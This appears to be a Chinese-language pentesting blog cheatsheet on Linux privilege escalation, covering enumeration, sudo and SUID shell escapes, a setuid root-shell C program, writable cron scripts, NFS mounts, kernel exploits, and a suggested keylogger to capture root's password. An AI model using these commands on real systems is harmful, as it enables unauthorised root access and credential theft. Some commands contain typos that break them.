Brief
- 当我们获取到一个低权限的shell的时候,我们往往需要提升权限,以方便后面任意读写任意文件、权限维持等操作。
- 这篇文章中我们主要介绍一些常见的linux的权限提升的技巧,这其中包括
1.内核提权
2.以root权限运行的程序
3.已安装的软件
4.弱口令和明文密码
5.内部的服务
6.suid的错误配置
7.滥用sudo权限
8.以root权限运行的脚本文件
9.错误的路径配置
10.计划任务枚举脚本
- 我之前用这三个脚本来枚举linux机器的基本信息,这三个脚本略有不同,但输出都很相似,所以选择一个你喜欢的就可以。
LinEnum - 以下是基本的选项:
1
2
3
4
5-k Enter keyword
-e Enter export location
-t Include thorough (lengthy) tests
-r Enter report name
-h Displays this help text
Unix privesc
Linprivchecker.py
这篇文章总结的比较全了Basic Linux Privilege Escalation
- 或许你不想用脚本,那么可以主要关注以下方面的信息
1
2
3
4
5
61.系统信息 unmae -a,env,whoami,hsitory,pwd
2.还有谁登陆了或者登陆过这个系统 who,w,last
3.当前用户是否在sudoers 文件里 sudo -l ,cat /etc/sudoers
4.是否有其它超级用户 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
5.查看一下网络信息 ifconfig -a,netstat -antlp,lsof -i
6.查看运行的服务和进程 ps aux ,ps -ef
以root权限运行的服务或程序
- 这个方法的原理就是如果一个服务是以root权限运行的,那么让这个服务去执行命令,那么执行的这个命令也将会是以root权限运行的,查看web服务器、数据库或者其它的服务,典型的例子然是
mysql的,如下: - 查看有哪些正在运行的程序
1
2
3
4# Metasploit
ps
# Linux
ps aux
mysql
- 如果你发现mysql是以root权限运行的,登录到mysql然后试试执行下面的命令:
1
2select sys_exec('whoami');
select sys_eval('whoami');
如果这个不行可以使用UDF进行提权.UDF提权
用户安装的软件
用户安装的第三方软件是否是存在漏洞,如果有的话可以google一下exploit。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# 常见的安装软件目录
/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/
# Debian
dpkg -l
# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )
# OpenBSD, FreeBSD
pkg_info然后查找对应的软件是否有漏洞并查找对应的exploit。
弱口令或者明文密码
- 检查一下web服务器连接数据库的配置文件(例如config.php)
- 检查一下数据库的管理员密码,密码可能被重用。
检测一下弱口令
1
2
3
4
5
6username:username
username:username1
username:root
username:admin
username:qwerty
username:password检查一下明文密码
1
2
3
4# Anything interesting the the mail?
/var/spool/mail
./LinEnum.sh -t -k password检查一下 ~/.ssh 文件夹 以及其它用户的.ssh目录。
- 检查一下 ~/.bash_history文件 以及其它用户的.bash_history文件。
只能内部访问的服务
- 一些服务可能只是对内开放,外部是访问不了的,比如说部署服务器、数据库或者其它,这些服务可以是以root权限运行的,这些服务恰恰有可能存在漏洞,因为开发者或者用户可能会认为因为服务只是内部使用所以就放松了警惕。
- 使用netstat对比一下nmap的扫描结果
1
2
3# Linux
netstat -anlp
netstat -ano
suid和guid错误配置
- 查找suid和guid的文件
1
2
3
4
5#Find SUID
find / -perm -u=s -type f 2>/dev/null
#Find GUID
find / -perm -g=s -type f 2>/dev/null
滥用sudo权限
- 如果你的shell可以通过sudo去访问某些程序且无需密码(通过sudo -l,或者查看/etc/sudoers文件),这个时候就有可能进行提权,例如你可以sudo cp,那么就可以覆盖/etc/shadow 或者/etc/sudoers
- 这些命令有 awk、bash、cp等
awk
1
awk 'BEGIN {system("/bin/bash")}'
more
- less
1
2
3sudo less /etc/shadow
v
:shell
- nmap
1
低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。
- python
1
sudo python -c ‘import pty;pty.spawn(“/bin/bash”);’
- find
1
sudo find /home -exec sh -i \;
其它 apt-get/yum/dpkg
1
sudo apt-get update -o APT::Update::Pre-Invoke::=”/bin/bash -i”
总而言之就是NOPASSWORD的程序都需要特别关注。
- 此外还有一个sudo_inject工具,进行进程注入,但是条件比较苛刻,1.需要有ptrace 2.需要有一个有效sudo token的进程。工具地址
Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration
how-i-got-root-with-sudo
Linux Restricted Shell Bypass
Abusing SUDO (Linux Privilege Escalation) - 国外有人还专门做了一个类似的网站用来整理一些可以exploit或者绕过系统安全限制的程序列表及方法 GTFOBins
以root权限运行的脚本文件
- 如果你发现一个脚本是root所有但是可以被任何用户写,这时你就可以添加你恶意的代码到这脚本中从而实现提权操作。其中最常见的是计划任务脚本。
1
2
3
4
5
6
7
8
9
10#World writable files directories
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
# World executable folder
find / -perm -o x -type d 2>/dev/null
# World writable and executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null
错误的路径配置
1 | 这个trick不是很常见。 |
计划任务
- 查看属于高权限用户但是你有写权限的文件
1
2
3
4
5
6
7
8
9
10
11
12crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
NFS共享
如果远程服务器开启了NFS共享,这个时候可以挂在远程共享服务磁盘,例如
1
mount 192.168.1.101:/ /tmp/
而如果这里的文件是root用户创建的,且你是可写可执行的,那么你就可以修改这个文件,然后去执行。
- 恶意代码可能是这样的
1
2
3
4
5
6
7
8
9
10
11#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
system("/bin/bash");
return 0;
}
通过键盘记录仪窃取密码
1 | 如果你有sudo权限 但是你没有密码的时候你可以安装个键盘记录仪,去记录root用户输入的密码。 |
其它有用的和提权相关的东西
- 所有人可写的目录
1
2
3
4
5/tmp
/var/tmp
/dev/shm
/var/spool/vbox
/var/spool/samba
内核提权
- 最后万不得已,才使用内核提权,内核提权有风险,操作需谨慎。
- 利用linux的内核漏洞有时可以提权,但需要提前测试内核explicit是否对当前的系统、架构以及内核版本是有效的。
- 查看系统、架构、内核版本命令
1
2
3uname -a
cat /proc/version
cat /etc/issue
查找exploit
1 | site:exploit-db.com kernel version |
其中dirty-cow脏牛可以搞定大多的内核!!
- 能不用内核漏洞提权尽量就不要用,虽然内核提权是最快且最容易的,但因为它可能会导致系统崩溃或使系统处于一个不稳定的状态,且还会产生大量的日志信息在sys.log 文件中。
注意!!!在进行内核提权的时候先查看一下大概的代码以及原理,并且在本地最好做一下测试提权工具
unix-privesc-check
Various kernel exploitslinux提权实操环境
in.security 提权靶场通关手册上篇
Lin.security – walkthroughReference
ATT&CK Privilege Escalation
guide-linux-privilege-escalation
privilegeescalation-_linux
Linux提权——利用可执行文件SUID
https://github.com/sagishahar/lpeworkshop
A guide to Linux Privilege Escalation
nmap提权
Its Too Funky In Here04 Linux privilege escalation for fun profit and all around mischief
linux提权实战
Privilege Escalation Cheatsheet
!!! 提权环境-以上